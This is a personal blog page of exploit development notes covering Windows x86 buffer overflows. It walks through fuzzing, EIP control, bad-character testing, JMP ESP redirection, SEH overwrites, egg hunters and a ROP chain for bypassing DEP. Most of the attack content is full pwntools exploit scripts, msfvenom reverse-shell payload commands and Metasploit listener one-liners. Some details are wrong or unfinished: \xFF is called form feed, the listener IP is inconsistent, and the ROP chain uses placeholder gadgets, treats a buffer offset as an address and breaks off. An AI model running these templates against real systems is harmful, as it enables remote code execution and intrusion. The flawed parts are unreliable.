Skip to main content

Exploit Development Notes

9641 words
Edwin | Shiro
Author
Edwin | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Exploit Development
#

Basic Concepts: Assembly & Debugger Essentials
#

Registers & Data Sizes
#

  • EBP (Base Pointer): Points to the base of the current stack frame. Often used to access local variables and function arguments.
  • ESP (Stack Pointer): Points to the top (lowest address) of the current stack. It changes as data is PUSHed and POPped.
  • EIP (Instruction Pointer): Holds the memory address of the next instruction the CPU will execute. Gaining control of EIP is the primary goal of many exploits.
Data SizeByte Length
Byte1
Word2
Dword4
Qword8

x64dbg Essential Features & Actions
#

x64dbg is a GUI-based debugger, making many operations visual.

  1. Attaching/Opening a Process:
    • File -> Open: To open an executable directly.
    • File -> Attach: To attach to a running process.
  2. Running/Stepping:
    • F9 (Run): Continues execution until a breakpoint or crash.
    • F7 (Step Into): Executes the current instruction. If it’s a CALL, it will go into the called function.
    • F8 (Step Over): Executes the current instruction. If it’s a CALL, it will execute the function and stop at the next instruction after the CALL.
    • Shift+F7/F8/F9: Hardware breakpoints (useful for certain anti-debugging techniques).
    • Ctrl+F9 (Run to Return): Executes until the current function returns.
  3. Breakpoints:
    • Click on an instruction in the Disassembly View to toggle a software breakpoint.
    • Right-click -> Breakpoint -> Toggle Hardware Breakpoint (Access/Write): Set hardware breakpoints on memory addresses (e.g., on ESP or EBP to see when they are written to).
    • Breakpoints Tab (B key): Manage all breakpoints.
  4. Register View (Top Right Panel):
    • Shows all CPU registers (EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP, EIP, Flags).
    • Right-click on a register -> Follow in Dump: Jumps the Memory Dump view to that address.
  5. Memory Dump View (Bottom Panels):
    • Shows raw memory content. You can have multiple dump views open.
    • Right-click -> Dump -> ASCII/Unicode/Hex: Change display format.
    • Ctrl+G: Go to address.
    • Scroll wheel: Scroll through memory.
  6. Disassembly View (Main Left Panel):
    • Shows the assembly code.
    • Ctrl+G: Go to address.
    • Right-click -> Assemble: Modify instructions directly.
    • Right-click -> Search for -> All intermodular calls: Find API calls.
    • Right-click -> Search for -> All referenced text strings: Find strings in memory.
  7. Modules Tab (M key):
    • Lists all loaded DLLs and executables.
    • Shows base addresses, sizes, and security mitigations (ASLR, DEP, SafeSEH). This is critical for choosing ROP gadgets or target modules.
    • Right-click on module -> Dump memory: Dump the entire module to a file (useful for rp++).
    • Right-click on module -> Go to -> IAT (Import Address Table): View imported functions and their resolved addresses (e.g., kernel32.dll!VirtualAlloc).
  8. Stack View (Bottom Left Panel):
    • Shows the current stack frame.
    • Right-click on a stack entry -> Follow in Dump: Examine the memory pointed to by a stack value.
    • Right-click -> Search for -> Return addresses: Find return addresses on the stack.

Basic Buffer Overflow Workflow
#

This is the bread and butter of exploit development. The goal is to fill a buffer to overwrite the EIP register.

Step 1: Fuzzing & Crash Reproduction
#

  • Goal: Find input that crashes the application and understand where in memory the crash occurs.

  • Method: Start with a simple Python script (using Pwntools for network interaction or file writing if applicable) to send progressively larger inputs.

    # For a network service (e.g., a simple TCP server)
    from pwn import *
    
    # Context: For 32-bit (i386) or 64-bit (amd64) binaries
    context.update(arch='i386', os='windows') # Or 'amd64'
    
    ip = '192.168.1.100'
    port = 9999
    
    # Simple fuzzer loop
    for i in range(100, 2000, 100): # Start with 100 bytes, increment by 100 up to 2000
        try:
            print(f"Fuzzing with {i} bytes...")
            s = remote(ip, port)
    
            # Example: Sending data to a vulnerable 'RECEIVE' function
            # Adjust according to the application's input method
            payload = b"A" * i
            s.send(payload + b"\r\n") # Often, network protocols require newlines
    
            # Wait for a response or a timeout. A crash means no response.
            s.recvuntil(b"Thank you!", timeout=1) 
            s.close()
            time.sleep(0.5) # Give the server a moment to recover or crash
        except Exception as e:
            print(f"[*] Crash detected with {i} bytes! Error: {e}")
            break
    
  • Debugging: When a crash occurs, note the last successful size and the crashing size. Restart the vulnerable application, attach x64dbg, and re-send the crashing input. Observe the EIP register.

Step 2: Controlling EIP (Instruction Pointer)
#

  • Goal: Overwrite EIP with a known, controllable value (e.g., 0x42424242 or BBBB).

  • Method: Use msf-pattern_create to generate a unique pattern, insert it into your payload, and find the offset to EIP.

    1. Generate a unique pattern:

      # Generate a pattern slightly larger than your crashing size (e.g., if crash at 800, generate for 850)
      msf-pattern_create -l 850
      
    2. Send the pattern: Insert this pattern into your payload and send it to the vulnerable application.

    3. Check EIP in x64dbg: After the crash, look at the EIP register in x64dbg. It will contain a value like 0x61413661. Copy this value.

    4. Find the offset:

      msf-pattern_offset -q 0x61413661
      [*] Exact match at offset 784
      
    5. Confirm EIP Control: Construct a payload with A’s up to the offset, followed by BBBB (\x42\x42\x42\x42), and then C’s for padding.

      offset = 784 # From msf-pattern_offset
      eip_value = b"\x42\x42\x42\x42" # BBBB
      
      # Example payload
      payload = b"A" * offset + eip_value + b"C" * 200 # Add some C's as padding
      
      # Send payload and check EIP in x64dbg. It should be 0x42424242.
      

Step 3: Identifying Bad Characters
#

  • Goal: Determine which bytes cannot be included in your shellcode because they terminate or corrupt the buffer. The null byte (\x00) is almost always a bad character. Others include \x0A (newline), \x0D (carriage return), \xFF (form feed), etc., depending on the application’s handling.

  • Method: Send a byte array containing all possible characters (excluding \x00 initially). Compare what’s sent to what’s received in memory.

    1. Generate a full bad character array:

      # badchars.py
      badchars = (
      b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
      b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
      b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
      b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
      b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
      b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
      b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
      b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
      )
      print(badchars)
      
    2. Send the bad characters in your payload: Place them right after your EIP overwrite (or a placeholder like \x42\x42\x42\x42).

      from pwn import *
      offset = 784
      eip_value = b"\x42\x42\x42\x42"
      # From badchars.py, remove \x00 first (most common bad char)
      badchars = b"\x01\x02\x03...\xff" # Your full bad chars list without \x00
      
      payload = b"A" * offset + eip_value + badchars
      
      # Send payload and crash the application
      
    3. Analyze in x64dbg:

      • After the crash (where EIP is 0x42424242), follow ESP in the Dump view. This is where your bad characters should start.
      • Carefully compare the bytes displayed in the memory dump with your original badchars array.
      • Look for:
        • Truncation: If the sequence suddenly stops, the last byte before the stop is a bad character.
        • Modification: If a byte is different from your array, that’s a bad character.
        • Skipped bytes: If a byte in your array is simply missing, it’s a bad character.
      • Iterate: Remove the identified bad character(s) from your badchars array in your Python script. Repeat the process (send payload, crash, examine memory) until the memory dump perfectly matches your badchars array.

Step 4: Finding JMP ESP (or similar redirection)
#

  • Goal: Find an instruction (JMP ESP, CALL ESP, JMP EAX where EAX points to shellcode) within a loaded module to redirect execution to your shellcode.
  • Preference: Look for modules loaded without ASLR (Address Space Layout Randomization) and DEP (Data Execution Prevention). These are typically custom DLLs, older system DLLs, or specific application modules.
  • Method in x64dbg:
    1. Go to Modules Tab (M key): Inspect loaded modules. Look for ASLR: No and DEP: No (or NXCOMPAT: No). Modules often named like app.exe, custom.dll, some_old_lib.dll are good candidates.
    2. Search for JMP ESP: The opcode for JMP ESP is \xFF\xE4.
      • Right-click in Disassembly View -> Search for -> Command: Type jmp esp.
      • Specify a module: In the search window, select a specific module (the one without ASLR/DEP) from the “Scope” dropdown.
      • Find: Review the results.
      • Alternatively, search for byte pattern:
        • Go to Memory Map (M tab) -> Right-click on desired module -> Search -> Byte pattern…
        • Enter E4 FF (for little-endian \xFF\xE4).
        • Note the address of a suitable JMP ESP instruction.
    3. Select a valid address: Choose an address that does not contain any of your previously identified bad characters.

Step 5: Generating Shellcode
#

  • Goal: Create malicious code that achieves your objective (e.g., reverse shell, bind shell).
  • Tool: msfvenom (part of Metasploit Framework, usually on Kali Linux). Remember to exclude bad characters!
# Basic reverse TCP shell for Windows (x86)
# LHOST: Your Kali IP
# LPORT: Listening port on Kali
# -f c: Output in C array format (easy to copy into Python)
# -b: Bad characters to exclude (add all found bad chars)
# EXITFUNC=thread: Often better for stability; shellcode exits a thread gracefully, not the whole process.

msfvenom -p windows/shell_reverse_tcp LHOST=199.168.1.5 LPORT=4444 -f c -b "\x00\x0a\x0d\x1a" EXITFUNC=thread

# Example output (copy the 'buf' content):
# buf =  "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x38\xc7\x75\x20\xeb\x04\xb0\xfc\xbb\xe0\x01\x00\x00\x5b\xaf\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x38\xc7\x75\x20\xeb\x04\xb0\xfc\xbb\xe0\x01\x00\x00\x5b\xaf\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x38\xc7\x75\x20\xeb\x04\xb0\xfc\xbb\xe0\x01\x00\x00\x5b\xaf"

Step 6: Constructing the Final Exploit Payload
#

Combine all the components using Pwntools.

from pwn import *
from struct import pack

context.update(arch='i386', os='windows') # Or 'amd64'

ip = '192.168.1.100'
port = 9999
offset = 784 # From Step 2
jmp_esp_address = 0x1000296F # Example JMP ESP address from your chosen module (replace with your found address)

# --- NOP sled ---
# A series of NOP instructions (\x90) before your shellcode.
# This acts as a landing zone, allowing slight variations in ESP after redirection.
# 16-32 NOPs is a common starting point.
nops = b"\x90" * 32

# --- Shellcode ---
# Paste the 'buf' content from your msfvenom output here
shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Your actual shellcode

# --- Payload Construction ---
# 1. Padding A's to reach EIP
# 2. JMP ESP address (to redirect EIP to our NOP sled/shellcode)
# 3. NOP sled
# 4. Your shellcode
# 5. Any extra padding (e.g., C's) to fill the buffer if needed
payload = b"A" * offset
payload += pack("<L", jmp_esp_address) # <L for little-endian 32-bit address>
payload += nops
payload += shellcode

# If the buffer has a fixed total size, calculate remaining padding
# remaining_padding = total_buffer_size - len(payload)
# payload += b"C" * remaining_padding

print(f"Payload length: {len(payload)} bytes")

# --- Send the Exploit ---
try:
    print(f"[*] Sending exploit to {ip}:{port}...")
    s = remote(ip, port)
    s.send(payload + b"\r\n") # Adjust according to target protocol
    s.interactive() # Keep connection open for shell interaction
except Exception as e:
    print(f"[!] Exploit failed: {e}")

# --- Metasploit Listener (on Kali) ---
# Start this BEFORE running your Python exploit
# Use the same LHOST and LPORT as in your msfvenom command
# sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell_reverse_tcp; set LHOST 199.168.1.5; set LPORT 4444; exploit"

Advanced Techniques
#

A. Structured Exception Handling (SEH) Overflows
#

When direct EIP control is difficult (e.g., small buffer, filtering), SEH can be a workaround. You overwrite pointers in the exception handler chain.

Workflow:
#

  1. Fuzzing & Crash Identification:

    • Action: Send progressively larger inputs until the application crashes.
    • x64dbg Analysis:
      • Attach x64dbg to the vulnerable process.
      • Reproduce the crash.
      • Go to the Stack view (bottom-left panel).
      • Right-click on any stack entry -> SEH Chain. A new window will pop up showing the Structured Exception Handler chain.
      • Observe: Look for nSEH (Next SEH record) and SEH Handler addresses. If these addresses contain your input pattern bytes (e.g., 41414141, 42424242), you’ve successfully identified an SEH overflow.
      • Goal: Overwrite nSEH with a short jump instruction and SEH Handler with a POP POP RET (PPR) gadget address.
      • Reason: When an exception occurs, the CPU jumps to the SEH Handler. If this handler is a PPR gadget, it will pop two values off the stack. The RET instruction then jumps to the first popped value. By making the first popped value our short jump (placed in nSEH), we can redirect execution to our shellcode.
  2. Find Offset to nSEH and SEH:

    • Action: Use msf-pattern_create to generate a unique pattern, insert it into your payload, and send it.

    • x64dbg Analysis:

      • After the crash, note the specific values in nSEH and SEH Handler from the SEH Chain window.
      • The SEH Handler address is usually 4 bytes after the nSEH address in your buffer.
    • Tool: msf-pattern_offset

      # Example: If nSEH is 0x41336a41 and SEH Handler is 0x41346a41
      msf-pattern_offset -q 0x41336a41
      [*] Exact match at offset 128 # This is your offset_to_nseh
      
      # For confirmation, you can also check the SEH Handler offset:
      msf-pattern_offset -q 0x41346a41
      [*] Exact match at offset 132 # This should be 4 bytes after nSEH
      
  3. Find POP POP RET (PPR) Gadget:

    • Goal: Find a POP REG; POP REG; RET sequence in a module that is not protected by SafeSEH and ideally not by ASLR.

    • x64dbg Action:

      1. Go to the Modules Tab (M key).
      2. Inspect loaded modules for SafeSEH: No and ASLR: No. Common places include custom application DLLs, or older system DLLs if present.
      3. Right-click on the chosen module -> Search for -> Command.
      4. In the search box, type pop reg; pop reg; ret (e.g., pop eax; pop ebx; ret). This will try to find the exact sequence.
      5. Alternatively, you can try searching for opcodes: Right-click in the module’s memory dump -> Search -> Byte pattern… Look for patterns like 58 59 C3 (pop eax; pop ecx; ret) or 5B 5F C3 (pop ebx; pop edi; ret) for 32-bit.
    • Kali Tool: rp++:

      1. Copy the target module (e.g., application.exe, custom.dll) from your Windows VM to your Kali machine.

      2. Run rp++ to find PPR gadgets.

        # Example: if your module is 'vulnerable.dll'
        rp-win-x86.exe -f vulnerable.dll -r 5 > ppr_gadgets.txt # -r 5 for up to 5 instructions
        
      3. Open ppr_gadgets.txt and search for “pop” keywords followed by “ret”. Select a PPR gadget address.

      4. Important: Verify the chosen gadget address in x64dbg. Place a breakpoint at the address (F2), run the program, and step through (F7) to confirm it behaves as pop, pop, ret.

  4. Craft SEH Payload:

    • nSEH Payload: This will be a short jump instruction (e.g., JMP SHORT +6 or JMP SHORT +8) followed by NOPs. The purpose is to jump over the SEH Handler address that follows it on the stack and land on your NOP sled.
      • \xeb\x06: JMP SHORT +0x08. This means it jumps 6 bytes relative to the end of the \xeb\x06 instruction. So, it jumps 8 bytes from the start of the \xeb\x06.
      • To fill the 4-byte nSEH slot: \x90\x90\xeb\x06. This gives 2 NOPs before the jump, ensuring the total length is 4 bytes.
    • Shellcode Placement: Your NOPs and shellcode will go after the SEH Handler address in your buffer. The short jump from nSEH will land in your NOP sled, which then executes your shellcode.
    from pwn import *
    from struct import pack
    
    context.update(arch='i386', os='windows') # Adjust for 64-bit if needed
    
    ip = '192.168.1.100'
    port = 9999
    offset_to_nseh = 128 # Example offset from msf-pattern_offset
    
    # --- nSEH Payload (4 bytes) ---
    # JMP SHORT +0x08 (0xeb 0x06) combined with NOPs for 4 bytes.
    # This will jump over the 4-byte PPR address + 2 NOPs, landing on the NOP sled.
    nseh_payload = b"\x90\x90\xeb\x06" # NOP NOP JMP SHORT +0x08
    
    # --- SEH Handler (4 bytes) ---
    # The address of your chosen POP POP RET gadget.
    # Make sure this address does NOT contain any bad characters.
    ppr_address = 0x1001A2F0 # Replace with your actual PPR gadget address
    
    # --- NOP Sled (landing zone for the short jump) ---
    # The short jump (from nSEH) will land here.
    # Add a few NOPs for safety. The short jump will land 8 bytes *from the start of the nSEH instruction*.
    # So it lands 8 bytes past 'nseh_payload'. Since nseh_payload is 4 bytes, it lands 4 bytes past 'ppr_address'.
    # Hence, place the NOPs right after 'ppr_address'.
    nops_after_ppr = b"\x90" * 32
    
    # --- Shellcode ---
    # Your msfvenom payload (already generated with bad chars excluded).
    shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Your actual shellcode
    
    # --- Payload Construction ---
    # 1. Padding (A's) to reach the nSEH overwrite point.
    # 2. nSEH payload (short jump).
    # 3. SEH Handler (PPR gadget address).
    # 4. NOP sled.
    # 5. Actual shellcode.
    # 6. Remaining padding (if needed, to fill the buffer to its total size).
    payload = b"A" * offset_to_nseh
    payload += nseh_payload
    payload += pack("<L", ppr_address) # <L for little-endian 32-bit address
    payload += nops_after_ppr
    payload += shellcode
    
    print(f"Payload length: {len(payload)} bytes")
    
    # --- Sending Logic (Example) ---
    try:
        print(f"[*] Sending SEH exploit to {ip}:{port}...")
        s = remote(ip, port)
        s.send(payload + b"\r\n") # Adjust according to target protocol
        s.interactive() # Keep connection open for shell interaction
    except Exception as e:
        print(f"[!] Exploit failed: {e}")
    
    # --- Metasploit Listener (on Kali) ---
    # Start this BEFORE running your Python exploit
    # sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell_reverse_tcp; set LHOST 192.168.1.5; set LPORT 4444; exploit"
    

B. Overcoming Space Restrictions: EggHunters
#

Egg hunters are extremely useful when you have very limited space for your initial overflow (where you control EIP), but you have a larger, separate buffer elsewhere in memory that you can control. The egg hunter is a tiny piece of shellcode that searches memory for a specific “egg” (a repeated tag, like w00tw00t) and then executes the larger shellcode that immediately follows the egg.

Workflow:
#

  1. Crash & Identify Buffers:

    • Action: Find a crash where you can control EIP with a small buffer (this is where your egg hunter will go).
    • Action: Identify a separate, larger buffer in memory that you can also control (e.g., a large HTTP POST body, a file upload, or simply a larger variable that is also vulnerable or consistently placed in memory). This is where your full shellcode will reside.
    • x64dbg Analysis: Examine memory during crashes or normal execution to confirm the existence and controllability of both buffers.
  2. Generate Egg Hunter Shellcode:

    • Goal: Create a compact, bad-character-free egg hunter.

    • Tool: msfvenom or a dedicated Python script (like egghunter.py from exploit development script sets).

      # On Kali, generate an x86 egg hunter with a custom 4-byte tag 'w00t'.
      # Ensure you exclude all known bad characters.
      msfvenom -p windows/x86/egghunter -t w00t -f python -b "\x00\x0a\x0d\x1a"
      # The output will provide the 'buf' variable containing the egghunter shellcode.
      
      • Note: If using the windows/x86/egghunter/custom module in msfvenom (which is often preferred for 32-bit systems as it’s more reliable in finding eggs), the command is slightly different:

        msfvenom -p windows/x86/egghunter/custom EGGTAG=w00t -f python -b "\x00\x0a\x0d\x1a"
        
  3. Prepare Full Shellcode with Egg:

    • Goal: Prepend your main msfvenom payload with the “egg” marker. The egg marker is your chosen 4-byte tag repeated twice (e.g., w00t + w00t = w00tw00t).

    • Action:

      # Ensure this tag matches the EGGTAG used when generating the egghunter
      egg_tag = b"w00t"
      egg_marker = egg_tag * 2 # b"w00tw00t"
      
      # Your actual msfvenom shellcode (reverse shell, bind shell, etc.)
      # Ensure this is also generated with the same bad characters excluded!
      actual_shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Replace with your shellcode
      
      # This entire buffer will be placed in the *large* controlled memory region.
      # Add a NOP sled after the shellcode for safety.
      payload_large_buffer = egg_marker + actual_shellcode + b"\x90" * 50
      
  4. Construct & Send Payloads:

    • Small Buffer Payload: This contains the egg hunter shellcode. Your EIP redirection (e.g., JMP ESP address) will point to the start of this egg hunter.
    • Large Buffer Payload: This contains your full shellcode prefixed with the egg marker. It must be sent to the application so it resides in memory when the egg hunter activates. The timing and method of sending this will depend on the specific vulnerability (e.g., as part of a file, a long HTTP POST request).
    from pwn import *
    from struct import pack
    
    context.update(arch='i386', os='windows') # Adjust for 64-bit if needed
    
    ip = '192.168.1.100'
    port = 9999
    offset_to_eip = 784 # Example offset to EIP for the small buffer
    jmp_esp_address = 0x1000296F # Example JMP ESP address to redirect to egghunter
    
    # --- Egg Hunter Shellcode ---
    # This is the 'buf' output from msfvenom egghunter generation.
    egghunter_shellcode = b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb..." # Replace with your actual egghunter
    
    # --- Full Shellcode (with egg marker) ---
    egg_marker = b"w00tw00t" # Must match egghunter's tag * 2
    actual_shellcode = b"\xfc\xe8\x82\x00\x00\x00..." # Your actual msfvenom reverse shell
    payload_large_buffer = egg_marker + actual_shellcode + b"\x90" * 50 # Add NOPs for safety
    
    # --- Main Payload for the Small Buffer (triggers EIP overwrite) ---
    # This payload must be small enough to fit the initial overflow.
    payload_small_buffer = b"A" * offset_to_eip
    payload_small_buffer += pack("<L", jmp_esp_address) # EIP points to JMP ESP
    payload_small_buffer += egghunter_shellcode
    # Add any remaining padding if the small buffer has a fixed total size
    
    print(f"Egg Hunter Payload length: {len(egghunter_shellcode)} bytes")
    print(f"Full Shellcode Buffer length: {len(payload_large_buffer)} bytes")
    
    # --- Sending Logic (Example for an HTTP-like scenario) ---
    # This is highly dependent on the target application's input methods.
    try:
        print(f"[*] Sending large buffer (full shellcode) to {ip}:{port}...")
        conn = remote(ip, port)
        # Example: send as a POST request body
        conn.send(b"POST /upload HTTP/1.1\r\n")
        conn.send(f"Content-Length: {len(payload_large_buffer)}\r\n".encode())
        conn.send(b"\r\n") # End of headers
        conn.send(payload_large_buffer) # Send the shellcode with egg
        time.sleep(1) # Give the server time to process the large buffer
    
        print(f"[*] Sending small buffer (egghunter trigger) to {ip}:{port}...")
        # Example: send as part of a GET request path
        # Assuming the vulnerable function is triggered by the GET path
        conn.send(b"GET /" + payload_small_buffer + b" HTTP/1.1\r\n\r\n")
    
        conn.interactive() # Interact with the shell once triggered
    except Exception as e:
        print(f"[!] Exploit failed: {e}")
    
    # --- Metasploit Listener (on Kali) ---
    # Start this BEFORE running your Python exploit
    # sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell_reverse_tcp; set LHOST 192.168.1.5; set LPORT 4444; exploit"
    

C. Return-Oriented Programming (ROP) - Bypassing DEP
#

DEP (Data Execution Prevention) prevents code from executing in data segments (like the stack or heap). ROP bypasses this by chaining together small, legitimate code sequences (“gadgets”) already present in executable memory (e.g., DLLs) that end with a RET instruction. These gadgets perform specific actions (e.g., popping values into registers, performing arithmetic, calling functions).

Workflow:
#

  1. Identify Vulnerable Module:

    • x64dbg Modules Tab (M key): This is crucial. Look for modules with:
      • ASLR: No: Essential for fixed gadget addresses.
      • DEP: No (or NXCOMPAT: No): Confirms that code in this module can be executed.
    • Typical candidates are older custom DLLs, specific application executables, or occasionally older versions of common system DLLs on less patched systems.
    • Note the Base Address: This is vital for calculating gadget offsets.
  2. Find ROP Gadgets:

    • Tool: rp++ (Kali): This is the go-to for finding gadgets. Copy the target module from your Windows VM to Kali.

      Bash

      # Example for a 32-bit DLL
      # -f: Specifies the target binary/DLL
      # -r 5: Searches for gadgets with up to 5 instructions (adjust as needed, smaller is usually better)
      rp-win-x86.exe -f /path/to/your/vulnerable.dll -r 5 > rop_gadgets.txt
      
      • Open rop_gadgets.txt and search for common gadget patterns:
        • pop reg ; ret: To control register values (e.g., pop eax ; ret).
        • xchg reg, esp ; ret: To pivot the stack pointer.
        • Arithmetic gadgets: add eax, ecx ; ret, sub eax, ebx ; ret.
        • mov [reg], reg ; ret (write-what-where): To write arbitrary values to arbitrary memory.
        • call [reg]: To call functions indirectly.
    • x64dbg (Manual Search):

      • Right-click in Disassembly View -> Search for -> Command.
      • Type patterns like pop eax, then ret. Repeat for pop ecx, ret, etc.
      • You can set breakpoints on found RET instructions and observe register states to understand gadget behavior.
  3. Construct the ROP Chain:

    • Goal: The most common DEP bypass is to call an API function like VirtualAlloc or VirtualProtect to mark a section of memory (where your shellcode is placed) as executable.

    • VirtualAlloc Prototype:

      LPVOID WINAPI VirtualAlloc(
          _In_opt_ LPVOID lpAddress,      // Address to start allocation (0 for system to choose)
          _In_     SIZE_T dwSize,         // Size of memory (e.g., 0x1000 = 4KB page)
          _In_     DWORD  flAllocationType, // MEM_COMMIT | MEM_RESERVE (0x1000 | 0x2000 = 0x3000)
          _In_     DWORD  flProtect       // PAGE_EXECUTE_READWRITE (0x40)
      );
      
    • Strategy: Your ROP chain will carefully manipulate registers and the stack to push the necessary arguments for VirtualAlloc onto the stack, then call VirtualAlloc, and finally jump to the newly executable memory containing your shellcode.

    from pwn import *
    from struct import pack
    
    context.update(arch='i386', os='windows')
    
    ip = '192.168.1.100'
    port = 9999
    offset_to_eip = 784 # Offset to EIP from your initial buffer overflow
    
    # --- Module Information ---
    # Base address of your vulnerable module (e.g., from x64dbg Modules tab)
    MODULE_BASE = 0x10000000 
    
    # Actual address of VirtualAlloc in kernel32.dll (find this in x64dbg's IAT of a stable module)
    # Right-click on kernel32.dll in Modules tab -> Go to -> IAT -> Find VirtualAllocStub or VirtualAlloc
    VIRTUAL_ALLOC_ADDRESS = 0x76DA38C0 # Example address. This will change per OS/patch.
    
    # --- ROP Gadgets (Replace with your found gadget addresses!) ---
    # Use rp++ output and add MODULE_BASE to the offsets.
    POP_EAX_RET = MODULE_BASE + 0x123456     # Example: pop eax ; ret
    POP_EBX_RET = MODULE_BASE + 0x654321     # Example: pop ebx ; ret
    POP_ECX_RET = MODULE_BASE + 0x987654     # Example: pop ecx ; ret
    ADD_EAX_ECX_RET = MODULE_BASE + 0xabcdef # Example: add eax, ecx ; ret
    MOV_EAX_MEM_EAX_RET = MODULE_BASE + 0xdeadb0 # Example: mov eax, dword ptr [eax] ; ret (for IAT lookup)
    MOV_MEM_ESI_EAX_RET = MODULE_BASE + 0xfedcba # Example: mov dword ptr [esi], eax ; ret (write-what-where)
    INC_ESI_RET = MODULE_BASE + 0x1a2b3c     # Example: inc esi ; ret (or similar for stack pivot)
    XCHG_EAX_ESP_RET = MODULE_BASE + 0x3c2b1a # Example: xchg eax, esp ; ret (for stack pivot)
    JMP_EAX = MODULE_BASE + 0x5b4d3e         # Example: jmp eax (could be a final jump or for VirtualAlloc)
    
    # --- ROP Chain Construction ---
    rop_chain = b""
    
    # Step 1: Get the actual address of VirtualAlloc into a controlled register (e.g., EAX).
    # If VirtualAlloc is in a non-ASLR module's IAT, you can usually read its address directly.
    # If not, you might need to use `mov eax, dword [IAT_ENTRY]` gadget.
    
    # Method A: Directly pop VirtualAlloc address (simplest if address is known and has no bad bytes)
    # rop_chain += pack("<L", POP_EAX_RET)
    # rop_chain += pack("<L", VIRTUAL_ALLOC_ADDRESS)
    
    # Method B: Look up VirtualAlloc via IAT (more robust)
    # Find the IAT entry for VirtualAlloc in your non-ASLR module.
    # E.g., if MODULE_BASE + 0x5000 is where VirtualAlloc's IAT entry is.
    VIRTUAL_ALLOC_IAT_ENTRY = MODULE_BASE + 0x5000 # Replace with actual IAT entry for VirtualAlloc
    
    # Pop IAT entry address into EAX
    rop_chain += pack("<L", POP_EAX_RET)
    rop_chain += pack("<L", VIRTUAL_ALLOC_IAT_ENTRY)
    
    # Dereference EAX to get the real VirtualAlloc address
    rop_chain += pack("<L", MOV_EAX_MEM_EAX_RET) # mov eax, dword ptr [eax] ; ret
    
    # At this point, EAX contains the actual KERNEL32!VirtualAlloc address.
    
    # Step 2: Set up the stack for VirtualAlloc arguments and prepare the return.
    # The arguments for VirtualAlloc will be placed directly on the stack after the current EIP's instruction.
    # After VirtualAlloc executes, it will return to the address immediately following its arguments on the stack.
    # This return address should point to your shellcode.
    
    # Find a gadget to pivot ESP to where the arguments should be.
    # This is often `xchg eax, esp ; ret` or `mov esp, eax ; ret`.
    # Let's assume we want to call VirtualAlloc immediately, and its arguments
    # will be placed directly after the call.
    
    # We need to make ESP point to a location where we can then place the VirtualAlloc arguments,
    # and then finally call VirtualAlloc.
    # Common pattern: Pop target arguments into registers, then push them to stack as needed.
    # OR: find a `call [eax]` or `jmp eax` after EAX holds VirtualAlloc address.
    
    # Simple approach for VirtualAlloc:
    # After EAX has VIRTUAL_ALLOC_ADDRESS:
    rop_chain += pack("<L", POP_EBX_RET)     # pop ebx ; ret (will be VirtualAlloc's return address)
    # This is where VirtualAlloc will return to after execution. Make it point to your NOP sled/shellcode.
    # Calculate where shellcode will be in the buffer:
    SHELLCODE_LANDING_ADDRESS = offset_to_eip + len(rop_chain) + 4 + 0x100 # Adjust 0x100 for NOP sled
    rop_chain += pack("<L", SHELLCODE_LANDING_ADDRESS) # Dummy Return Address for VirtualAlloc
    
    # Arguments for VirtualAlloc (placed directly on stack):
    # lpAddress = 0 (NULL)
    rop_chain += pack("<L", 0x00000000)
    # dwSize = 0x1000 (4KB)
    rop_chain += pack("<L", 0x00001000)
    # flAllocationType = 0x3000 (MEM_COMMIT | MEM_RESERVE)
    rop_chain += pack("<L", 0x00003000)
    # flProtect = 0x40 (PAGE_EXECUTE_READWRITE)
    rop_chain += pack("<L", 0x00000040)
    
    # After these arguments, the next thing on the stack is implicitly where
    # `VirtualAlloc` will return to. Ensure this matches `SHELLCODE_LANDING_ADDRESS`.
    
    # Final jump to VirtualAlloc (now on top of stack from the initial `POP_EAX_RET` value)
